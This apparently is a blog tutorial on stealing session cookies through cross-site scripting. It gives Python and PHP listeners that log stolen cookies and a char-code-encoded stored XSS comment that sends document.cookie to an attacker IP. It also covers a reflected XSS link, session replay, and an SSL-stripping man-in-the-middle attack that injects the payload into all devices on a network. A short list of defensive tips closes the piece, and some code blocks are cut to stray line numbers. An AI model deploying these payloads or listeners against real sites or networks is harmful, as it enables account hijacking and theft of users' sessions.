Disclaimer: You are free to use presented knowledge for educational purposes, with good intentions (securing web applications, penetration testing, ctf’s etc.), or not. I am not responsible for anything you do.
This article will explain some of the common HTTP state interception methods.
At the base of our actions we need a listener.
Due to mixed content restrictions in modern browsers you’ll often need to use HTTPS protocol capable web server.
You can write your own or use httpd like Apache.
If your target is outside the NAT then corresponding port forwarding will be needed too.
You can also use a web service similar to Requestbin (public hosting discontinued unfortunately).
Below I am giving out a very simple solution written in python3.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38#!/usr/bin/python
#https.py
import http.server
import ssl
import sys
class S(http.server.BaseHTTPRequestHandler):
def _set_headers(self):
self.send_response(200)
self.send_header('Content-type', 'text/html')
self.end_headers()
def do_GET(self):
self._set_headers()
print(self.path)
cookie=self.path.split("xss=")[1]
print("Cookie: "+cookie+"\n")
with open('cookies.txt', 'a') as xss:
xss.write(cookie+"\r\n")
def run(server_class=http.server.HTTPServer, handler_class=S, port=443):
server_address = ('', port)
httpd = server_class(server_address, handler_class)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile=sys.argv[1], server_side=True)
print('[*] Serving at '+str(server_address))
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
if __name__ == "__main__":
if(len(sys.argv) == 2):
run()
else:
print("Specify cert file")
sys.exit(1)
1 |
|
You can then connect to it and test if it works.1
openssl s_client -connect localhost:443
For the case of my article I’ve chosen to use simple built-in PHP http server as we are not interacting with SSL traffic.
Let’s create something quick in PHP language.1
2
3
4
5
6
7//index.php:
if(isset($_GET['xss'])){
$string = $_GET['xss'];
$handle = fopen('xss.txt', 'a');
fwrite($handle, $string."\n");fclose($handle);
}
Example above is saving the GET xss parameter from incoming requests into a file named xss.txt.
In shorter words it just saves the received cookie into a file.
Start the server with elevated privileges.1
sudo php -S 0.0.0.0:80 -f index.php -t .
- -S 0.0.0.0:80 - Listen on all interfaces, port 80
- -f index.php - Specified file to parse
- -t . - Directory root (dot means current directory)
The main point for now is to make the client send a request into our listener.
1 | //payload.js |
Basically we are creating a new image object, source of which points to our listener at 192.168.1.101, and while it is requesting to load a fake image, we capture the URL parameter containing the cookie.
At first let’s test it locally with help of the developer console and then we’ll move out to injecting a script in non-physical access based situations.
Open up a developer console (F12) and test the payload.
If you’ve had received the cookie, then you’ve done everything correctly. Congratulations 😀
The cookie we’ve sent can be used to become an authenticated user without logging in.
We can set it with javascript.1
2//Setting the cookie in a javascript capable browser.
document.cookie = "PHPSESSID=rqc8ictmojuag6c4k464end6n4";
We can also set it in the storage tab.
If you craft requests by hand, pass the cookie manually in the HTTP request header.
Let’s move to the basic XSS topic.
Browsers’ javascript parsers allow for client side, cross site code execution. - Cross Site Scripting.
The first XSS exploitation technique I will showcase is called stored XSS. We will be targetting a vulnerable input that allows us to add an unsanitized comment. The exploitation is persistent as the payload is being constantly red from the database.
For encoding I used one of the Jim Stiles’ javascript utilities.1
2
3
4<!-- Comment contents
I encoded the payload in char code and then used eval to run it on body load event -->
Wow, I really like your site
<body onload=eval(String.fromCharCode(110,101,119,32,73,109,97,103,101,40,41,46,115,114,99,61,34,104,116,116,112,58,47,47,49,57,50,46,49,54,56,46,49,46,49,48,49,47,63,120,115,115,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101))>
- Once the user logs in and reads the comments, we get his cookie.
Another technique is called reflected XSS and this time we will need the user to click on a prepared link that injects the payload using an unsanitized input.
Generally, if there is a field that loads a string from the URL and does not filter anything before rendering it, then Reflected XSS is possible.
There is a vulnerable search field on this web app, let’s exploit it and send our link to the user.
1 | // This is the same payload, but I encoded it for URL and added "White Dog" before. |
Last technique I will cover in this article does not need precision to succeed.
It involves sniffing on the network, redirecting HTTPS traffic into HTTP, proxying the packets and then injecting the payload in real time.
We will use a great framework made by Marcello Salvati.
Before running, let’s take a look at the source code.
.
Let’s change the payload to a different port:
1 | //payload.js |
It is time for the framework to do the work for us.
1 | sudo php -S 0.0.0.0:8000 -f index.php -t . & |
- -i wlp2s0 - Use interface wlp2s0
- –inject –js-file /home/krystian/xss/payload.js - perform javascript injection on a stripped content
- –spoof - spoof the packets
- –hsts - try to strip SSL
- –netmask 192.168.1.0/24 - set network mask
- –gateway 192.168.1.1 - set the gateway
After a while, we could notice that every single device on the network sends us cookies from most of the HTTP requests they’ve sent.
How to avoid losing cookies?
- Web devs - sanitize your inputs.
- Verify whether sites you own do not contain something unexpected in the source code or the database.
- Do not trust every email.
- Verify what links you click on.
- Ring a bell when your connection suddenly loses SSL. (Verify the padlock icon in a web browser)
- Connect only to trusted networks. (Open WiFis are not trusted)
- If you detect a Man in the Middle attack in your packet captures, do not ignore the threat.
- Turn off javascript. (When you are desperate… 😀)
I wish you a good luck 😎